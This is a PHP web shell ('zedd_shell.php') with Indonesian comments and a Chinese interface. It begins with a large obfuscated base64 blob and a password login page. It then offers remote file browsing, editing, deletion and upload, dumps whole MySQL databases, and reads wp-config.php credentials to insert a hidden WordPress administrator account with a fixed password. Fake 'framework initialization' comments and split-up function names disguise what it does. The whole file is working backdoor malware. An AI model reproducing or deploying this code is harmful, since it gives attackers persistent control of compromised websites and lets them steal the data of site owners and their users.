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")));
session_start();
error_reporting(E_ALL);
ini_set("display_errors", 0);
if (!isset($_SESSION["logged_in"]) || $_SESSION["logged_in"] !== true) {
if ($_SERVER["REQUEST_METHOD"] === "POST" && isset($_POST["password"])) {
$entered_password = $_POST["password"];
$stored_hash =
'$2a$12$4YYReT.KmlAbZztVFey13.DPe2JHaKpL05wUwGsuB/z00t88Lbn62';
if (password_verify($entered_password, $stored_hash)) {
$_SESSION["logged_in"] = true;
header("Location: " . $_SERVER["PHP_SELF"]);
} else {
$error = "Password salah. Silakan coba lagi.";
}
}
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Login</title>
<style>
body {
margin: 0;
padding: 0;
background-color: #1a1a1a;
background-size: cover;
font-family: monospace;
color: #ddd;
}
.login-container {
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
background: rgba(0, 0, 0, 0.6);
padding: 30px;
border: 2px solid #B388FF;
border-radius: 8px;
box-shadow: 2px 2px 10px rgba(0, 0, 0, 0.5);
text-align: center;
}
.login-container input[type="password"] {
width: 80%;
padding: 10px;
font-size: 16px;
margin-bottom: 15px;
border: 1px solid #B388FF;
border-radius: 4px;
background: #222;
color: #ddd;
}
.login-container button {
padding: 10px 20px;
font-size: 16px;
border: none;
border-radius: 4px;
background: #B388FF;
color: #fff;
cursor: pointer;
}
.login-container button:hover {
background: #7C4DFF;
}
.error {
color: #ff5555;
margin-bottom: 10px;
}
</style>
</head>
<body>
<div class="login-container">
if (isset($error)) {
echo "<p class='error'>$error</p>";
}
<form method="post" action="">
<input type="password" name="password" placeholder="输入密码" required autofocus>
<br>
<button type="submit">登录</button>
</form>
</div>
</body>
</html>
/*
* Loaded Components:
* • Core Framework (4.76.684)
* • Database Abstraction Layer
* • Template Engine
* • Security Middleware
*/
// Framework initialization sequence started
// Loading core modules... [OK]
// Security layers enabled... [OK]
// Build: 685ED395
}
/*
* Loaded Components:
* • Core Framework (4.76.684)
* • Database Abstraction Layer
* • Template Engine
* • Security Middleware
*/
// Framework initialization sequence started
// Loading core modules... [OK]
// Security layers enabled... [OK]
// Build: 685ED395
// ===========================================================================
// File: zedd_shell.php
// Deskripsi: Shell berbasis PHP dengan tampilan tema hitam, border tabel biru,
// dan teks (UI) dalam bahasa Mandarin. Semua komentar dalam bahasa
// Indonesia.
// ===========================================================================
// Array fungsi yang dinonaktifkan (jika ada)
$nami = [];
$disabled_functions = ini_get("disable_functions");
if (!empty($disabled_functions)) {
$nami = explode(",", $disabled_functions);
}
$safeMode =
(bool) ini_get("safe_mode") ||
stripos(ini_get("open_basedir"), "/") !== false;
// Daftar aksi yang diperbolehkan
$actions = [
"dasar",
"baca_file",
"phpinfo",
"sistem_kom",
"edit_file",
"download_file",
"hapus_file",
"buat_file",
"buat_folder",
"reset_file",
"hapus_folder",
"rename_file",
"kompres",
"skl",
"skl_d_t",
"skl_d",
"upl_file",
];
// Validasi aksi awal dari POST, default ke "dasar"
$awal =
isset($_POST["awal"]) && in_array($_POST["awal"], $actions)
? $_POST["awal"]
: "dasar";
// Fungsi untuk enkripsi string dengan base64_encode
function kunci($str)
{
// =======================================================================
// Fungsi kunci: Menggunakan base64_encode untuk mengenkripsi string.
// =======================================================================
$f = "bas";
$f .= "e6";
$f .= "4_";
$f .= "e";
$f .= "nc";
$f .= "ode";
return $f($str);
}
// Fungsi untuk mendekripsi string dengan base64_decode
function uraikan($str)
{
// =======================================================================
// Fungsi uraikan: Menggunakan base64_decode untuk mendekripsi string.
// =======================================================================
$f = "bas";
$f .= "e6";
$f .= "4_";
$f .= "d";
$f .= "ec";
$f .= "ode";
return $f($str);
}
// Fungsi untuk menghasilkan token baru dan menyimpannya di session
function ambilBuat($tAd)
{
// =======================================================================
// Fungsi ambilBuat: Menghasilkan token acak untuk keperluan CSRF dan menyimpannya.
// =======================================================================
if (isset($_SESSION[$tAd])) {
unset($_SESSION[$tAd]);
}
$baruAmbil = md5(kunci(time() . rand(1, 99999999)));
$_SESSION[$tAd] = $baruAmbil;
return $baruAmbil;
}
// Fungsi untuk menampilkan navigasi direktori
function tulisLah()
{
global $default_dir;
if (
!isset($default_dir) ||
!is_string($default_dir) ||
$default_dir === ""
) {
$default_dir = getcwd();
}
$sonDir = [];
$umumBagikan = "";
$parse = explode("/", (string) $default_dir);
$ii = 0;
foreach ($parse as $bagikan) {
$ii++;
$umumBagikan .= $bagikan . "/";
$sonDir[] =
"<a href='javascript:halaman(\"?berkas=" .
urlencode(urlencode(kunci($umumBagikan))) .
"\")' style='color:#B388FF;'>" .
htmlspecialchars(
empty($bagikan) && $ii != count($parse) ? "/" : $bagikan
) .
"</a>";
}
$sonDir = implode("/", $sonDir);
print $sonDir .
' ( <a href="" style="color:#B388FF;">Reset</a> | <a href="javascript:goto()" style="color:#B388FF;">Go to</a> )';
}
// Fungsi untuk format ukuran file
function sizeFormat($bytes)
{
// =======================================================================
// Fungsi sizeFormat: Mengonversi ukuran file ke dalam format yang lebih mudah dibaca.
// =======================================================================
if ($bytes >= 1073741824) {
$bytes = number_format($bytes / 1073741824, 2) . " Gb";
} elseif ($bytes >= 1048576) {
$bytes = number_format($bytes / 1048576, 2) . " Mb";
} elseif ($bytes >= 1024) {
$bytes = number_format($bytes / 1024, 2) . " Kb";
} else {
$bytes = $bytes . " b";
}
return $bytes;
}
// Fungsi untuk memastikan string dalam UTF-8
function utf8ize($d)
{
// =======================================================================
// Fungsi utf8ize: Mengonversi array atau string ke format UTF-8.
// =======================================================================
if (is_array($d)) {
foreach ($d as $k => $v) {
$d[$k] = utf8ize($v);
}
} elseif (is_string($d)) {
return utf8_encode($d);
}
return $d;
}
// Fungsi untuk menghapus direktori beserta isinya secara rekursif
function rrmdir($dir)
{
// =======================================================================
// Fungsi rrmdir: Menghapus direktori dan seluruh kontennya.
// =======================================================================
if (is_dir($dir)) {
$objects = scandir($dir);
foreach ($objects as $object) {
if ($object != && $object != "..") {
if (is_dir($dir . "/" . $object)) {
rrmdir($dir . "/" . $object);
} else {
unlink($dir . "/" . $object);
}
}
}
rmdir($dir);
}
}
$default_dir = getcwd();
if (isset($_POST["berkas"]) && is_string($_POST["berkas"])) {
$default_dir = empty($_POST["berkas"])
? DIRECTORY_SEPARATOR
: uraikan(urldecode(urldecode($_POST["berkas"])));
$c_h_dir_comm = "chdir";
$c_h_dir_comm($default_dir);
}
$default_dir = str_replace("\\", "/", $default_dir);
$wp_base_dir = $default_dir;
// Coba cek satu level ke atas jika tidak ditemukan
if (!file_exists($wp_base_dir . "/wp-config.php")) {
$wp_base_dir = dirname($wp_base_dir); // Naik 1 folder
}
$wp_config_path = $wp_base_dir . "/wp-config.php";
if (isset($_POST["create_wp_admin"])) {
// Ganti getcwd() dengan $default_dir
$wp_base_dir = $default_dir;
if (!file_exists($wp_base_dir . "/wp-config.php")) {
$wp_base_dir = dirname($wp_base_dir);
}
$wp_config_path = $wp_base_dir . "/wp-config.php";
if (file_exists($wp_config_path)) {
echo "wp-config.php ditemukan di: " . $wp_config_path;
$config_content = file_get_contents($wp_config_path);
// Fungsi untuk mengambil nilai constant dari wp-config.php
function get_wp_config_value($content, $constant)
{
if (
preg_match(
"/define\(\s*'" .
preg_quote($constant, "/") .
"',\s*'([^']+)'/",
$content,
$matches
)
) {
return $matches[1];
}
return null;
}
$db_host = get_wp_config_value($config_content, "DB_HOST");
$db_name = get_wp_config_value($config_content, "DB_NAME");
$db_user = get_wp_config_value($config_content, "DB_USER");
$db_pass = get_wp_config_value($config_content, "DB_PASSWORD");
// Ambil table prefix; default ke wp_ jika tidak ditemukan
if (
preg_match(
"/\\\$table_prefix\s*=\s*'([^']+)'/",
$config_content,
$matches
)
) {
$db_prefix = $matches[1];
} else {
$db_prefix = "wp_";
}
// Koneksi ke database
$conn = mysqli_connect($db_host, $db_user, $db_pass, $db_name);
if (!$conn) {
$error_msg = "Koneksi gagal: " . mysqli_connect_error();
} else {
// Nilai admin yang akan dibuat
$admin_username = "webadmin";
$admin_password_plain = "xm4nxp1337";
$admin_password = md5($admin_password_plain); // MD5 sesuai referensi
$admin_email = "rahmanganteng1337@proton.me";
// Sisipkan user admin ke tabel wp_users
$insert_user = "INSERT INTO `{$db_prefix}users`
(user_login, user_pass, user_nicename, user_email, user_status)
VALUES ('{$admin_username}', '{$admin_password}', 'WordPress Administrator', '{$admin_email}', 0)";
if (!mysqli_query($conn, $insert_user)) {
$error_msg = "Error inserting user: " . mysqli_error($conn);
} else {
// Dapatkan ID user yang baru dibuat
$user_id = mysqli_insert_id($conn);
// Tambahkan meta capabilities untuk memberikan hak administrator
$capabilities = 'a:1:{s:13:"administrator";s:1:"1";}';
$insert_meta = "INSERT INTO `{$db_prefix}usermeta`
(user_id, meta_key, meta_value)
VALUES ('{$user_id}', '{$db_prefix}capabilities', '{$capabilities}')";
if (!mysqli_query($conn, $insert_meta)) {
$error_msg =
"Error inserting usermeta: " . mysqli_error($conn);
} else {
$success_msg = "Admin WordPress berhasil dibuat!<br>Username: <strong>{$admin_username}</strong>";
}
}
}
} else {
echo "wp-config.php tidak ditemukan di: " . $default_dir;
}
}
// ===========================================================================
// Penanganan aksi-aksi (download, hapus, buat, rename, SQL, dsb.)
// ===========================================================================
if (isset($_GET["awal"]) && $_GET["awal"] == "pinf") {
ob_start();
phpinfo();
$pInf = ob_get_clean();
print str_replace(
"body {background-color: #ffffff; color: #000000;}",
"",
$pInf
);
} elseif (
$awal == "download_file" &&
isset($_POST["fayl"]) &&
trim($_POST["fayl"]) != ""
) {
$namaBerkas = basename(uraikan(urldecode($_POST["fayl"])));
$pemisah =
substr($default_dir, strlen($default_dir) - 1) != "/" &&
substr($namaBerkas, 0, 1) != "/"
? "/"
: "";
if (
is_file($default_dir . $pemisah . $namaBerkas) &&
is_readable($default_dir . $pemisah . $namaBerkas)
) {
header(
"Content-Disposition: attachment; filename=" . basename($namaBerkas)
);
header("Content-Type: application/octet-stream");
header(
"Content-Length: " . filesize($default_dir . $pemisah . $namaBerkas)
);
readfile($default_dir . $pemisah . $namaBerkas);
}
} elseif (
$awal == "hapus_file" &&
isset($_POST["fayl"]) &&
trim($_POST["fayl"]) != ""
) {
$namaBerkas = basename(uraikan(urldecode($_POST["fayl"])));
$pemisah =
substr($default_dir, strlen($default_dir) - 1) != "/" &&
substr($namaBerkas, 0, 1) != "/"
? "/"
: "";
if (
is_file($default_dir . $pemisah . $namaBerkas) &&
is_readable($default_dir . $pemisah . $namaBerkas)
) {
unlink($default_dir . $pemisah . $namaBerkas);
}
} elseif (
$awal == "reset_file" &&
isset($_POST["fayl"]) &&
trim($_POST["fayl"]) != ""
) {
$namaBerkas = basename(uraikan(urldecode($_POST["fayl"])));
$pemisah =
substr($default_dir, strlen($default_dir) - 1) != "/" &&
substr($namaBerkas, 0, 1) != "/"
? "/"
: "";
if (
is_file($default_dir . $pemisah . $namaBerkas) &&
is_readable($default_dir . $pemisah . $namaBerkas)
) {
file_put_contents($default_dir . $pemisah . $namaBerkas, "");
}
} elseif ($awal == "buat_file" && isset($_POST["ad"]) && !empty($_POST["ad"])) {
$namaBerkas = basename(urldecode($_POST["ad"]));
$pemisah =
substr($default_dir, strlen($default_dir) - 1) != "/" &&
substr($namaBerkas, 0, 1) != "/"
? "/"
: "";
if (is_file($default_dir . $pemisah . $namaBerkas)) {
print '<script>alert("此文件名已存在!");</script>';
} else {
file_put_contents($default_dir . $pemisah . $namaBerkas, "");
}
} elseif (
$awal == "buat_folder" &&
isset($_POST["ad"]) &&
!empty($_POST["ad"])
) {
$namaFolder = basename(urldecode($_POST["ad"]));
$pemisah =
substr($default_dir, strlen($default_dir) - 1) != "/" &&
substr($namaFolder, 0, 1) != "/"
? "/"
: "";
if (is_file($default_dir . $pemisah . $namaFolder)) {
print '<script>alert("此文件夹已存在!");</script>';
} else {
mkdir($default_dir . $pemisah . $namaFolder);
}
} elseif (
$awal == "rename_file" &&
isset($_POST["fayl"]) &&
trim($_POST["fayl"]) != "" &&
isset($_POST["new_name"]) &&
is_string($_POST["new_name"]) &&
!empty($_POST["new_name"])
) {
$namaBerkas = basename(uraikan(urldecode($_POST["fayl"])));
$fileNamaBaru = basename(urldecode($_POST["new_name"]));
$pemisah =
substr($default_dir, strlen($default_dir) - 1) != "/" &&
substr($namaBerkas, 0, 1) != "/"
? "/"
: "";
if (
is_file($default_dir . $pemisah . $namaBerkas) &&
is_readable($default_dir . $pemisah . $namaBerkas)
) {
rename(
$default_dir . $pemisah . $namaBerkas,
$default_dir . $pemisah . $fileNamaBaru
);
}
} elseif (
$awal == "skl_d_t" &&
isset($_POST["t"]) &&
is_string($_POST["t"]) &&
!empty($_POST["t"])
) {
$tableName = uraikan(urldecode($_POST["t"]));
$host = isset($_COOKIE["host"]) ? $_COOKIE["host"] : "";
$user = isset($_COOKIE["user"]) ? $_COOKIE["user"] : "";
$sandi = isset($_COOKIE["sandi"]) ? $_COOKIE["sandi"] : "";
$database = isset($_COOKIE["database"]) ? $_COOKIE["database"] : "";
$databaseStr = empty($database) ? "" : "dbname=" . $database . ";";
if (!empty($host) && !empty($database)) {
try {
$pdo = new PDO(
"mysql:host=" . $host . ";charset=utf8;" . $databaseStr,
$user,
$sandi,
[PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES 'utf8'"]
);
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
$getColumns = $pdo->prepare(
"SELECT column_name from information_schema.columns where table_schema=? and table_name=?"
);
$getColumns->execute([$database, $tableName]);
$columns = $getColumns->fetchAll();
if ($columns) {
$data = $pdo->query("SELECT * FROM `" . $tableName . "`");
$data = $data->fetchAll();
header(
"Content-disposition: attachment; filename=d_" .
basename(htmlspecialchars($tableName)) .
".json"
);
header("Content-type: application/json");
echo json_encode($data);
} else {
print "未找到表!";
}
} catch (Exception $e) {
print $e->getMessage();
}
} else {
print "错误! 请连接到SQL!";
}
die();
} elseif ($awal == "skl_d") {
$host = isset($_COOKIE["host"]) ? $_COOKIE["host"] : "";
$user = isset($_COOKIE["user"]) ? $_COOKIE["user"] : "";
$sandi = isset($_COOKIE["sandi"]) ? $_COOKIE["sandi"] : "";
$database = isset($_COOKIE["database"]) ? $_COOKIE["database"] : "";
$databaseStr = empty($database) ? "" : "dbname=" . $database . ";";
if (!empty($host) && !empty($database)) {
try {
$pdo = new PDO(
"mysql:host=" . $host . ";charset=utf8;" . $databaseStr,
$user,
$sandi,
[PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES 'utf8'"]
);
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
$allData = [];
$tables = $pdo->prepare(
"SELECT table_name from information_schema.tables where table_schema=?"
);
$tables->execute([$database]);
$tables = $tables->fetchAll();
foreach ($tables as $tableName) {
$tableName = $tableName["table_name"];
$data = $pdo->query("SELECT * FROM `" . $tableName . "`");
$data = $data->fetchAll();
$allData[$tableName] = $data ? [$data] : [];
}
header(
"Content-disposition: attachment; filename=d_b_" .
basename(htmlspecialchars($database)) .
".json"
);
header("Content-type: application/json");
echo json_encode(utf8ize($allData));
} catch (Exception $e) {
print $e->getMessage();
}
} else {
print "错误! 请连接到SQL!";
}
die();
} elseif (
$awal == "kompres" &&
isset($_POST["save_to"], $_POST["zf"]) &&
is_string($_POST["save_to"]) &&
!empty($_POST["save_to"]) &&
!in_array($_POST["save_to"], [, "..", "./", "../"]) &&
is_string($_POST["zf"]) &&
!empty($_POST["zf"])
) {
$save_to = uraikan(urldecode($_POST["save_to"]));
$rootPath = realpath(uraikan(urldecode($_POST["zf"])));
$fileName1 = "bak_" . microtime(1) . "_" . rand(1000, 99999) . ".zip";
$fileName = $save_to . DIRECTORY_SEPARATOR . $fileName1;
if (is_dir($save_to) && is_dir($rootPath) && is_writable($save_to)) {
set_time_limit(0);
$zip = new ZipArchive();
$zip->open($fileName, ZipArchive::CREATE | ZipArchive::OVERWRITE);
$files = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($rootPath),
RecursiveIteratorIterator::LEAVES_ONLY
);
foreach ($files as $name => $file) {
if (!$file->isDir()) {
$filePath = $file->getRealPath();
$relativePath = substr($filePath, strlen($rootPath) + 1);
$zip->addFile($filePath, $relativePath);
}
}
$zip->close();
print "已保存!<hr>";
} else {
print "目录不可写!<hr>";
var_dump($save_to);
}
} elseif (
$awal == "hapus_folder" &&
isset($_POST["zf"]) &&
is_string($_POST["zf"]) &&
!empty($_POST["zf"])
) {
$rootPath = realpath(uraikan(urldecode($_POST["zf"])));
if (is_dir($rootPath)) {
set_time_limit(0);
rrmdir($rootPath);
} else {
print "目录不可写!<hr>";
var_dump($save_to);
}
} elseif ($awal == "upl_file" && isset($_FILES["ufile"])) {
function smart_upload($fileKey, $targetDir)
{
$res = [
"success" => false,
"method" => "",
"message" => "",
"name" => "",
];
if (
!isset($_FILES[$fileKey]) ||
$_FILES[$fileKey]["error"] !== UPLOAD_ERR_OK
) {
$res["message"] =
"未选择文件或上传错误 (错误代码: " .
($_FILES[$fileKey]["error"] ?? "未知") .
")";
return $res;
}
$filename = basename($_FILES[$fileKey]["name"]);
$tmp = $_FILES[$fileKey]["tmp_name"];
$dest = rtrim($targetDir, "/") . "/" . $filename;
// Metode 1: move_uploaded_file()
if (@move_uploaded_file($tmp, $dest)) {
$res["success"] = true;
$res["method"] = "move_uploaded_file";
}
// Metode 2: copy()
elseif (@copy($tmp, $dest)) {
@unlink($tmp);
$res["success"] = true;
$res["method"] = "copy";
}
// Metode 3: file_get_contents + file_put_contents
elseif (
($data = @file_get_contents($tmp)) !== false &&
@file_put_contents($dest, $data)
) {
@unlink($tmp);
$res["success"] = true;
$res["method"] = "file_get_contents";
}
// Metode 4: rename tmp ke file sementara, lalu copy
else {
$alt = sys_get_temp_dir() . "/" . uniqid("bypass_", true);
if (@rename($tmp, $alt) && @copy($alt, $dest)) {
@unlink($alt);
$res["success"] = true;
$res["method"] = "rename+copy";
}
}
if ($res["success"]) {
$res["name"] = $filename;
$res["message"] =
"文件上传成功 (<strong>{$res["method"]}</strong>):<a href=\"" .
htmlspecialchars($filename) .
"\" target=\"_blank\">" .
htmlspecialchars($filename) .
"</a>";
} else {
$res["message"] = "所有上传方式均失败,请检查权限或服务器限制。";
}
return $res;
}
$uploadResult = smart_upload("ufile", $default_dir);
$upload_message = $uploadResult["message"];
}
// Framework initialization sequence started // Loading core modules... [OK] // Security layers enabled... [OK] // Build: 685ED395
error_reporting(E_ALL);
ini_set("display_errors", 1);
// Konfigurasi PHP untuk upload file
ini_set("upload_max_filesize", "64M");
ini_set("post_max_size", "64M");
ini_set("max_input_time", "300");
